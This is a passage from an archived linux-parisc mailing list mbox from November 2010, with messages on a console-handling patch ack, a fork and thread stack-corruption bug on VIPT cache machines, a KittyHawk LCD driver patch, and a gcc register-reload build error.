and then forgot to delete them when I finished reading everything.

In short, I'm skeptical this is a problem in lba_pci code.
Much more likely to be a driver issue or possibly HW issue.
I was pointing at the configs that booted on ion/ioz only to
help rule out driver or HW issues. Feel free to use ion for
testing this.

Also, if there are any add-on PCI cards in the machine, consider
removing them.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2 2/5] parisc: cleanup console handling
Date: Thu, 4 Nov 2010 13:26:13 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20101104172613.GK8332@bombadil.infradead.org>
References: <1288884024-23873-1-git-send-email-jslaby@suse.cz>
 <1288884024-23873-2-git-send-email-jslaby@suse.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1288891594 7011 80.91.229.12 (4 Nov 2010 17:26:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 4 Nov 2010 17:26:34 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>, werner@suse.de,
	alan@lxorguk.ukuu.org.uk, gregkh@suse.de,
	linux-kernel@vger.kernel.org, jirislaby@gmail.com,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 04 18:26:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PE3Zv-0000lf-GL
	for glpp-linux-parisc@lo.gmane.org; Thu, 04 Nov 2010 18:26:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751277Ab0KDR0W (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Nov 2010 13:26:22 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:41583 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751106Ab0KDR0W (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Nov 2010 13:26:22 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PE3Zl-0001Rd-Iy; Thu, 04 Nov 2010 17:26:13 +0000
Content-Disposition: inline
In-Reply-To: <1288884024-23873-2-git-send-email-jslaby@suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3219 gmane.linux.kernel:1058014
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3219>

On Thu, Nov 04, 2010 at 04:20:21PM +0100, Jiri Slaby wrote:
> * use newly added for_each_console for iterating consoles
> * add proper console locking
> * do not initialize tmp twice
> * no need to declare console_drivers, it's already done in console.h
> 
> Signed-off-by: Jiri Slaby <jslaby@suse.cz>
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: Helge Deller <deller@gmx.de>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: linux-parisc@vger.kernel.org

This looks fine...
Acked-by: Kyle McMartin <kyle@mcmartin.ca>

I assume that since it depends on 1/5 you'd prefer to merge it with the
rest?

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Amir G." <amir73il@users.sourceforge.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Threads and fork on VIPT-WB machines
Date: Thu, 4 Nov 2010 13:02:53 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <AANLkTi=AaKrGn2oXypohLcCiAUfWx8mtofJz_+-awwix@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1288893782 18077 80.91.229.12 (4 Nov 2010 18:03:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 4 Nov 2010 18:03:02 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 04 19:02:56 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PE49H-0000Td-RK
	for glpp-linux-parisc@lo.gmane.org; Thu, 04 Nov 2010 19:02:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751277Ab0KDSCz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Nov 2010 14:02:55 -0400
Original-Received: from mail-qy0-f181.google.com ([209.85.216.181]:48324 "EHLO
	mail-qy0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751110Ab0KDSCy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Nov 2010 14:02:54 -0400
Original-Received: by qyk10 with SMTP id 10so1654048qyk.19
        for <linux-parisc@vger.kernel.org>; Thu, 04 Nov 2010 11:02:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=ABDra4vu9nXLeRYtFlMYZ8odRJq246bWmInswC4Lisg=;
        b=eQsjLURCneikbrsSN5YS4EqyNw5w5lTUIRFhgg9yQSkSFgEHoGqYY9qDtzEZnhMY7Q
         uYE1xFAy4yK6XsrH4/qggH5SX7A86LvfZNfF+bkOk4+Ep6gO4GOs+TIeWUlnIKao/cuk
         /0Gdov99ltCnOojdLAVTZYBOKeEJoXpWvTEt0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type;
        b=UvHzokZBQu425NpkBxT3d8o8A7Jgy47SUd8M0kxe3+KrgRThPzM/0PyuCZ0b/JFW7k
         ue5FiJqjHNRvxbdciWzeNNQkFUetwFqaANwWfd8Cyx2xXIQOtJmMmmVDZExrRgHYf8k5
         zCUBTzsyvQtYiKE9sEyEUMY8eK7/ykt+PjA5w=
Original-Received: by 10.224.138.13 with SMTP id y13mr54689qat.288.1288893773783; Thu,
 04 Nov 2010 11:02:53 -0700 (PDT)
Original-Received: by 10.229.38.72 with HTTP; Thu, 4 Nov 2010 11:02:53 -0700 (PDT)
X-Google-Sender-Auth: IO_eFXiay3pqCmEryk1dotLP7l4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3220
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3220>

Hi,

We are seeing corruption of parent stack after fork of a multi-threaded process.
Something that resembles this reported bug:

http://wiki.parisc-linux.org/TestCases#head-b2a1d5999b1b7cbc6878005693440f9e2960e895

We have been seeing this bug on and off for the past year. very hard
to reproduce it.

The only thing is... we are running our kernel (2.6.32) on ARM,
so I am thinking this problem may be either a generic kernel problem
or common to PA-RISC and ARM.
I don't see anywhere that this problem was ever solved.

Anyway, I am sitting at Arnd's presentation in LPC at the moment (good talk).
If any of you guys are present, please let me know so we can discuss
the issue face to face.

Thanks,
Amir.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Threads and fork on VIPT-WB machines
Date: Thu, 04 Nov 2010 14:25:52 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <1288895152.10970.7.camel@mulgrave.site>
References: <AANLkTi=AaKrGn2oXypohLcCiAUfWx8mtofJz_+-awwix@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288895200 25153 80.91.229.12 (4 Nov 2010 18:26:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 4 Nov 2010 18:26:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>
To: "Amir G." <amir73il@users.sourceforge.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 04 19:26:35 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PE4W9-0006zs-Se
	for glpp-linux-parisc@lo.gmane.org; Thu, 04 Nov 2010 19:26:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752468Ab0KDS0C (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Nov 2010 14:26:02 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37406 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752160Ab0KDSZ4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Nov 2010 14:25:56 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B9E628EE114;
	Thu,  4 Nov 2010 11:25:55 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Xx3GSh2j-bIY; Thu,  4 Nov 2010 11:25:55 -0700 (PDT)
Original-Received: from [10.216.5.61] (unknown [12.157.84.42])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 436F28EE0EC;
	Thu,  4 Nov 2010 11:25:55 -0700 (PDT)
In-Reply-To: <AANLkTi=AaKrGn2oXypohLcCiAUfWx8mtofJz_+-awwix@mail.gmail.com>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3221
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3221>

On Thu, 2010-11-04 at 13:02 -0500, Amir G. wrote:
> Hi,
> 
> We are seeing corruption of parent stack after fork of a multi-threaded process.
> Something that resembles this reported bug:
> 
> http://wiki.parisc-linux.org/TestCases#head-b2a1d5999b1b7cbc6878005693440f9e2960e895
> 
> We have been seeing this bug on and off for the past year. very hard
> to reproduce it.
> 
> The only thing is... we are running our kernel (2.6.32) on ARM,
> so I am thinking this problem may be either a generic kernel problem
> or common to PA-RISC and ARM.
> I don't see anywhere that this problem was ever solved.
> 
> Anyway, I am sitting at Arnd's presentation in LPC at the moment (good talk).
> If any of you guys are present, please let me know so we can discuss
> the issue face to face.

OK, so just to summarise the rather hurried discussion for those not
present:  I'd always assumed that this problem is parisc specific
because no other vipt architecture saw it.  However it is possible it's
some I/D incoherency issue within the generic kernel itself ... it's
just a lot rarer on other architectures.  If you see it on arm, this
would confirm that view.  The main difference between PA and other VIPT
architectures is that our equivalency modulus for aliasing is much
bigger (we have a 4MB stride).

So what I'll do is have a look into this again.  I recently successfully
resurrected the tmpalias flushing patches (these eliminate the
possibility that it's some kind of TLB handling error because they allow
cache flushes without a corresponding TLB entry), but I'll look at our
generic paths again ... my greatest suspicions would be the
handle_mm_fault() path.

But basically, the summary is that we see the issue but have never
solved it.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Slaby <jirislaby@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2 2/5] parisc: cleanup console handling
Date: Thu, 04 Nov 2010 23:02:51 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <4CD32D8B.2080709@gmail.com>
References: <1288884024-23873-1-git-send-email-jslaby@suse.cz> <1288884024-23873-2-git-send-email-jslaby@suse.cz> <20101104172613.GK8332@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288908189 25433 80.91.229.12 (4 Nov 2010 22:03:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 4 Nov 2010 22:03:09 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>, werner@suse.de,
	alan@lxorguk.ukuu.org.uk, gregkh@suse.de,
	linux-kernel@vger.kernel.org, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 04 23:03:01 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PE7ta-0008Nv-Hl
	for glpp-linux-parisc@lo.gmane.org; Thu, 04 Nov 2010 23:02:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753198Ab0KDWC5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Nov 2010 18:02:57 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:34809 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752429Ab0KDWC5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Nov 2010 18:02:57 -0400
Original-Received: by fxm16 with SMTP id 16so1896585fxm.19
        for <multiple recipients>; Thu, 04 Nov 2010 15:02:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from
         :user-agent:mime-version:to:cc:subject:references:in-reply-to
         :x-enigmail-version:content-type:content-transfer-encoding;
        bh=ny1n2v4VnKrKC6sJIzzV1K1Ae7h5EHA/Yau3nsUJHbI=;
        b=F1vKRIuvN7302jon0iL7DeTrp4CLkEG3wSnO5V/E6asv4ciAXADYFZHw6j2ajS0yoj
         qXsxRPPXzhNNnqcclqnmvERW28XNy94VH7HcjIjHzV9J8LIuiz1BU40KhS4bQHsDsD2I
         u4bFklaVJppFFnpzk4pXBqJjexrQo8CWxGuUQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:x-enigmail-version:content-type
         :content-transfer-encoding;
        b=QouqBG3tVijQBmceXSCnHhRyo38zFnev6Tp8R8fLRF4hDTvYVzh5cbqogvfbxwCCl0
         dqbael4o4hCfV9IXTP9Nx4eWffp4NJLFyXMpIUn2cu9Qw2IkUxwDubW5nJzU3C3RVSyD
         voHRk8aHoPiKKr4NE7WXsG6Jct58SiLRF0H3M=
Original-Received: by 10.223.112.206 with SMTP id x14mr252418fap.117.1288908175526;
        Thu, 04 Nov 2010 15:02:55 -0700 (PDT)
Original-Received: from [192.168.2.129] ([217.66.174.142])
        by mx.google.com with ESMTPS id 10sm286775fax.18.2010.11.04.15.02.52
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 04 Nov 2010 15:02:52 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.2.12) Gecko/20101026 SUSE/3.1.6 Thunderbird/3.1.6
In-Reply-To: <20101104172613.GK8332@bombadil.infradead.org>
X-Enigmail-Version: 1.1.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3222 gmane.linux.kernel:1058108
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3222>

On 11/04/2010 06:26 PM, Kyle McMartin wrote:
> On Thu, Nov 04, 2010 at 04:20:21PM +0100, Jiri Slaby wrote:
>> * use newly added for_each_console for iterating consoles
>> * add proper console locking
>> * do not initialize tmp twice
>> * no need to declare console_drivers, it's already done in console.h
>>
>> Signed-off-by: Jiri Slaby <jslaby@suse.cz>
>> Cc: Kyle McMartin <kyle@mcmartin.ca>
>> Cc: Helge Deller <deller@gmx.de>
>> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
>> Cc: linux-parisc@vger.kernel.org
> 
> This looks fine...
> Acked-by: Kyle McMartin <kyle@mcmartin.ca>
> 
> I assume that since it depends on 1/5 you'd prefer to merge it with the
> rest?

Yeah, I would like to, with ACKs from relevant people.

thanks,
-- 
js
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc : KittyHawk LCD fix
Date: Sat, 6 Nov 2010 17:24:29 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <20101106172429.5c3d1568@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/YnbXlHkOhX_Cqaaz2As.xc3"
X-Trace: dough.gmane.org 1289060707 28200 80.91.229.12 (6 Nov 2010 16:25:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 6 Nov 2010 16:25:07 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 06 17:24:58 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PElZU-0007AJ-GU
	for glpp-linux-parisc@lo.gmane.org; Sat, 06 Nov 2010 17:24:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755424Ab0KFQYi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Nov 2010 12:24:38 -0400
Original-Received: from louis.schedom-europe.net ([193.109.184.93]:41184 "EHLO
	louis.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755408Ab0KFQYi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Nov 2010 12:24:38 -0400
Original-Received: (qmail 9854 invoked by uid 507); 6 Nov 2010 17:24:36 +0100
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	louis.schedom-europe.net
X-Spam-Level: ***********
X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99,FH_DATE_PAST_20XX,
	RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5
Original-Received: from ip115.dyn1.liege.schedom-europe.net (HELO ibiza.bxl.tuxicoman.be) (83.101.5.115)
  by louis.schedom-europe.net with SMTP; 6 Nov 2010 17:24:31 +0100
Original-Received: from borg.bxl.tuxicoman.be ([2001:6f8:310:301::1])
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.72)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1PElZ7-00080M-GJ
	for linux-parisc@vger.kernel.org; Sat, 06 Nov 2010 17:24:29 +0100
X-Mailer: Claws Mail 3.7.6 (GTK+ 2.20.1; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3223
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3223>

--MP_/YnbXlHkOhX_Cqaaz2As.xc3
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


K class aka KittyHawk don't have LED support on their LCD. Installing
HP-UX confirmed this. The current led_wq fills the LCD with black
characters each time it runs.

The patch prevents the led_wq workqueue and its proc entry to be
created for KittyHawk machines.

It also increase min_cmd_delay as currently, one character out of two
is lost when a string is sent to the LCD.

Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>

--MP_/YnbXlHkOhX_Cqaaz2As.xc3
Content-Type: text/x-patch
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=KittyHawk-LCD-fix.diff

--- drivers/parisc/led.c.orig	2010-11-04 16:06:04.000000000 +0100
+++ drivers/parisc/led.c	2010-11-06 16:39:44.000000000 +0100
@@ -64,6 +64,7 @@
 static unsigned int led_lanrxtx   __read_mostly = 1;
 static char lcd_text[32]          __read_mostly;
 static char lcd_text_default[32]  __read_mostly;
+static int  lcd_no_led_support    __read_mostly = 0; /* KittyHawk doesn't support LED on its LCD */
 
 
 static struct workqueue_struct *led_wq;
@@ -115,7 +116,7 @@
 	.lcd_width =		16,
 	.lcd_cmd_reg_addr =	KITTYHAWK_LCD_CMD,
 	.lcd_data_reg_addr =	KITTYHAWK_LCD_DATA,
-	.min_cmd_delay =	40,
+	.min_cmd_delay =	80,
 	.reset_cmd1 =		0x80,
 	.reset_cmd2 =		0xc0,
 };
@@ -135,6 +136,9 @@
 	/* Display the default text now */
 	if (led_type == LED_HASLCD) lcd_print( lcd_text_default );
 
+	/* KittyHawk has no LED support on its LCD */
+	if (lcd_no_led_support) return 0;
+
 	/* Create the work queue and queue the LED task */
 	led_wq = create_singlethread_workqueue("led_wq");	
 	queue_delayed_work(led_wq, &led_task, 0);
@@ -248,9 +252,13 @@
 
 	proc_pdc_root = proc_mkdir("pdc", 0);
 	if (!proc_pdc_root) return -1;
-	ent = proc_create_data("led", S_IRUGO|S_IWUSR, proc_pdc_root,
-				&led_proc_fops, (void *)LED_NOLCD); /* LED */
-	if (!ent) return -1;
+
+	if (!lcd_no_led_support)
+	{
+		ent = proc_create_data("led", S_IRUGO|S_IWUSR, proc_pdc_root,
+					&led_proc_fops, (void *)LED_NOLCD); /* LED */
+		if (!ent) return -1;
+	}
 
 	if (led_type == LED_HASLCD)
 	{
@@ -692,6 +700,7 @@
 	case 0x58B:		/* KittyHawk DC2 100 (K200) */
 		printk(KERN_INFO "%s: KittyHawk-Machine (hversion 0x%x) found, "
 				"LED detection skipped.\n", __FILE__, CPU_HVERSION);
+		lcd_no_led_support = 1;
 		goto found;	/* use the preinitialized values of lcd_info */
 	}
 

--MP_/YnbXlHkOhX_Cqaaz2As.xc3--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't find a register in class 'R1_REGS' while reloading 'asm'
Date: Sun, 7 Nov 2010 17:50:42 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20101107175042.627060c2@zombie>
References: <20100207002335.GP24051@bombadil.infradead.org>
 <20100208032035.645A14EF1@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1289148652 18456 80.91.229.12 (7 Nov 2010 16:50:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 7 Nov 2010 16:50:52 +0000 (UTC)
Cc: kyle@mcmartin.ca (Kyle McMartin), dave.anglin@nrc-cnrc.gc.ca,
	cavokz@gmail.com, linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 07 17:50:45 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PF8S2-000804-MH
	for glpp-linux-parisc@lo.gmane.org; Sun, 07 Nov 2010 17:50:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752786Ab0KGQul (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Nov 2010 11:50:41 -0500
Original-Received: from amber.schedom-europe.net ([193.109.184.92]:60236 "EHLO
	amber.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752058Ab0KGQuk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Nov 2010 11:50:40 -0500
Original-Received: (qmail 26642 invoked by uid 507); 7 Nov 2010 17:50:38 +0100
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	amber.schedom-europe.net
X-Spam-Level: ***********
X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99,FH_DATE_PAST_20XX,
	RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5
Original-Received: from ip115.dyn1.liege.schedom-europe.net (HELO ibiza.bxl.tuxicoman.be) (83.101.5.115)
  by amber.schedom-europe.net with SMTP; 7 Nov 2010 17:50:32 +0100
Original-Received: from wifi010.bxl.tuxicoman.be ([172.20.1.10] helo=zombie)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.72)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1PF8Rs-0000yC-2I; Sun, 07 Nov 2010 17:50:32 +0100
In-Reply-To: <20100208032035.645A14EF1@hiauly1.hia.nrc.ca>
X-Mailer: Claws Mail 3.7.6 (GTK+ 2.20.1; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3224
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3224>


Any update on this ?

I'm still running into the issue with gcc 4.4.4 and linux 2.6.37-rc1.

Regards,
  Guy

On Sun, 7 Feb 2010 22:20:34 -0500 (EST)
"John David Anglin" <dave@hiauly1.hia.nrc.ca> wrote:

> > On Mon, Dec 07, 2009 at 10:01:14PM -0500, John David Anglin wrote:
> > > -	volatile unsigned int *a;
> > > +	volatile register unsigned int *a asm ("r20") =
> > > __ldcw_align(x); 
> > 
> > I'm reticent about moving the assignment around the mb(), should I
> > edit this to return the assignment and apply, or apply as is?
> 
> I don't believe the __ldcw_align operation involves a memory read or
> write.  It's just adjusting a pointer.  Thus moving it past the mb()
> shouldn't matter.  That said, I been wrong before...
> 
> Dave

--
